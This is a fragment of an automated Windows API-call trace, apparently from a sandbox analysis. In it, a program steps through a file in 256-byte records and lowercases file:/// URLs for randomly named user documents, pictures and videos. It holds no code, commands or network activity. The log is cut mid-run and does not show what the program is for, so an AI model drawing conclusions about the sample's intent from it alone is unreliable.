[0079.568] SetFilePointer (in: hFile=0xa0, lDistanceToMove=42496, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa600
[0079.569] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.569] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/I6q4ouXY.swf" | out: _Str="file:///c:/users/atveydl98z/desktop/i6q4ouxy.swf") returned="file:///c:/users/atveydl98z/desktop/i6q4ouxy.swf"
[0079.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/i6q4ouxy.swf") returned 49
[0079.569] SetFilePointer (in: hFile=0xa0, lDistanceToMove=42752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa700
[0079.569] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.569] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.569] SetFilePointer (in: hFile=0xa0, lDistanceToMove=42752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa700
[0079.569] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.569] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/Genq52XzyTG.swf" | out: _Str="file:///c:/users/atveydl98z/videos/genq52xzytg.swf") returned="file:///c:/users/atveydl98z/videos/genq52xzytg.swf"
[0079.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/genq52xzytg.swf") returned 51
[0079.569] SetFilePointer (in: hFile=0xa0, lDistanceToMove=43008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa800
[0079.569] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.569] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.569] SetFilePointer (in: hFile=0xa0, lDistanceToMove=43008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa800
[0079.569] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.569] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/4plH_a-Eec.doc" | out: _Str="file:///c:/users/atveydl98z/documents/4plh_a-eec.doc") returned="file:///c:/users/atveydl98z/documents/4plh_a-eec.doc"
[0079.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/4plh_a-eec.doc") returned 53
[0079.569] SetFilePointer (in: hFile=0xa0, lDistanceToMove=43264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa900
[0079.569] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.569] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.569] SetFilePointer (in: hFile=0xa0, lDistanceToMove=43264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa900
[0079.569] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.570] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/87gn.png" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/87gn.png") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/87gn.png"
[0079.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/87gn.png") returned 77
[0079.570] SetFilePointer (in: hFile=0xa0, lDistanceToMove=43520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaa00
[0079.570] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.570] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.570] SetFilePointer (in: hFile=0xa0, lDistanceToMove=43520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaa00
[0079.570] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.570] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/gm5jtE.png" | out: _Str="file:///c:/users/atveydl98z/pictures/gm5jte.png") returned="file:///c:/users/atveydl98z/pictures/gm5jte.png"
[0079.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/gm5jte.png") returned 48
[0079.570] SetFilePointer (in: hFile=0xa0, lDistanceToMove=43776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xab00
[0079.570] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.570] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.570] SetFilePointer (in: hFile=0xa0, lDistanceToMove=43776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xab00
[0079.570] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.570] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/4xSp.doc" | out: _Str="file:///c:/users/atveydl98z/documents/4xsp.doc") returned="file:///c:/users/atveydl98z/documents/4xsp.doc"
[0079.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/4xsp.doc") returned 47
[0079.570] SetFilePointer (in: hFile=0xa0, lDistanceToMove=44032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xac00
[0079.570] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.570] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.570] SetFilePointer (in: hFile=0xa0, lDistanceToMove=44032, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xac00
[0079.570] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.570] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/3iSzPtsfkc.pps" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/3iszptsfkc.pps") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/3iszptsfkc.pps"
[0079.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/3iszptsfkc.pps") returned 63
[0079.571] SetFilePointer (in: hFile=0xa0, lDistanceToMove=44288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xad00
[0079.571] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.571] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.571] SetFilePointer (in: hFile=0xa0, lDistanceToMove=44288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xad00
[0079.571] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.571] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/dgbvEW5txB_Of.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/dgbvew5txb_of.pptx") returned="file:///c:/users/atveydl98z/documents/dgbvew5txb_of.pptx"
[0079.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/dgbvew5txb_of.pptx") returned 57
[0079.571] SetFilePointer (in: hFile=0xa0, lDistanceToMove=44544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae00
[0079.571] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.571] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.571] SetFilePointer (in: hFile=0xa0, lDistanceToMove=44544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xae00
[0079.571] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.571] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/8--HuyYjVZb64.swf" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/8--huyyjvzb64.swf") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/8--huyyjvzb64.swf"
[0079.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/8--huyyjvzb64.swf") returned 66
[0079.571] SetFilePointer (in: hFile=0xa0, lDistanceToMove=44800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaf00
[0079.571] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.571] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.571] SetFilePointer (in: hFile=0xa0, lDistanceToMove=44800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xaf00
[0079.571] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.571] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/QBJ9KmKRnRitnjjCZM.png" | out: _Str="file:///c:/users/atveydl98z/pictures/qbj9kmkrnritnjjczm.png") returned="file:///c:/users/atveydl98z/pictures/qbj9kmkrnritnjjczm.png"
[0079.571] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/qbj9kmkrnritnjjczm.png") returned 60
[0079.571] SetFilePointer (in: hFile=0xa0, lDistanceToMove=45056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb000
[0079.571] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.572] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.572] SetFilePointer (in: hFile=0xa0, lDistanceToMove=45056, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb000
[0079.572] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.572] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/wiBLBzDzCgVSAEK0.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/wiblbzdzcgvsaek0.gif") returned="file:///c:/users/atveydl98z/pictures/wiblbzdzcgvsaek0.gif"
[0079.572] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/wiblbzdzcgvsaek0.gif") returned 58
[0079.572] SetFilePointer (in: hFile=0xa0, lDistanceToMove=45312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb100
[0079.572] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.572] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.572] SetFilePointer (in: hFile=0xa0, lDistanceToMove=45312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb100
[0079.572] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.590] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/X%20zf.ots" | out: _Str="file:///c:/users/atveydl98z/documents/x%20zf.ots") returned="file:///c:/users/atveydl98z/documents/x%20zf.ots"
[0079.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/x%20zf.ots") returned 49
[0079.590] SetFilePointer (in: hFile=0xa0, lDistanceToMove=45568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb200
[0079.590] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.590] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.590] SetFilePointer (in: hFile=0xa0, lDistanceToMove=45568, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb200
[0079.590] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.590] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/_sVEMCyoSgi9Z.gif" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/_svemcyosgi9z.gif") returned="file:///c:/users/atveydl98z/appdata/roaming/_svemcyosgi9z.gif"
[0079.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/_svemcyosgi9z.gif") returned 62
[0079.590] SetFilePointer (in: hFile=0xa0, lDistanceToMove=45824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb300
[0079.590] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.590] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.590] SetFilePointer (in: hFile=0xa0, lDistanceToMove=45824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb300
[0079.590] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.590] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/S2oohh8L.xlsx" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/s2oohh8l.xlsx") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/s2oohh8l.xlsx"
[0079.590] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/s2oohh8l.xlsx") returned 62
[0079.590] SetFilePointer (in: hFile=0xa0, lDistanceToMove=46080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb400
[0079.590] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.591] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.591] SetFilePointer (in: hFile=0xa0, lDistanceToMove=46080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb400
[0079.591] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.591] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/WHpMOQFwzkB.csv" | out: _Str="file:///c:/users/atveydl98z/documents/whpmoqfwzkb.csv") returned="file:///c:/users/atveydl98z/documents/whpmoqfwzkb.csv"
[0079.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/whpmoqfwzkb.csv") returned 54
[0079.591] SetFilePointer (in: hFile=0xa0, lDistanceToMove=46336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb500
[0079.591] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.591] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.591] SetFilePointer (in: hFile=0xa0, lDistanceToMove=46336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb500
[0079.591] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.591] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/1H-eMpHI.docx" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/1h-emphi.docx") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/1h-emphi.docx"
[0079.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/1h-emphi.docx") returned 62
[0079.591] SetFilePointer (in: hFile=0xa0, lDistanceToMove=46592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb600
[0079.591] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.591] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.591] SetFilePointer (in: hFile=0xa0, lDistanceToMove=46592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb600
[0079.591] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.591] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/LPOIy2.odp" | out: _Str="file:///c:/users/atveydl98z/documents/lpoiy2.odp") returned="file:///c:/users/atveydl98z/documents/lpoiy2.odp"
[0079.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/lpoiy2.odp") returned 49
[0079.591] SetFilePointer (in: hFile=0xa0, lDistanceToMove=46848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb700
[0079.591] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.591] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.591] SetFilePointer (in: hFile=0xa0, lDistanceToMove=46848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb700
[0079.592] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
[0079.592] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/N6iL-.docx" | out: _Str="file:///c:/users/atveydl98z/documents/n6il-.docx") returned="file:///c:/users/atveydl98z/documents/n6il-.docx"
[0079.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x126b6a, cbMultiByte=-1, lpWideCharStr=0x1228e4, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/n6il-.docx") returned 49
[0079.592] SetFilePointer (in: hFile=0xa0, lDistanceToMove=47104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb800
[0079.592] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x12288c, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x12288c*=0x8, lpOverlapped=0x0) returned 1
[0079.592] _memicmp (_Buf1=0x126ae4, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.592] SetFilePointer (in: hFile=0xa0, lDistanceToMove=47104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb800
[0079.592] ReadFile (in: hFile=0xa0, lpBuffer=0x126ae4, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x122888, lpOverlapped=0x0 | out: lpBuffer=0x126ae4*, lpNumberOfBytesRead=0x122888*=0x100, lpOverlapped=0x0) returned 1
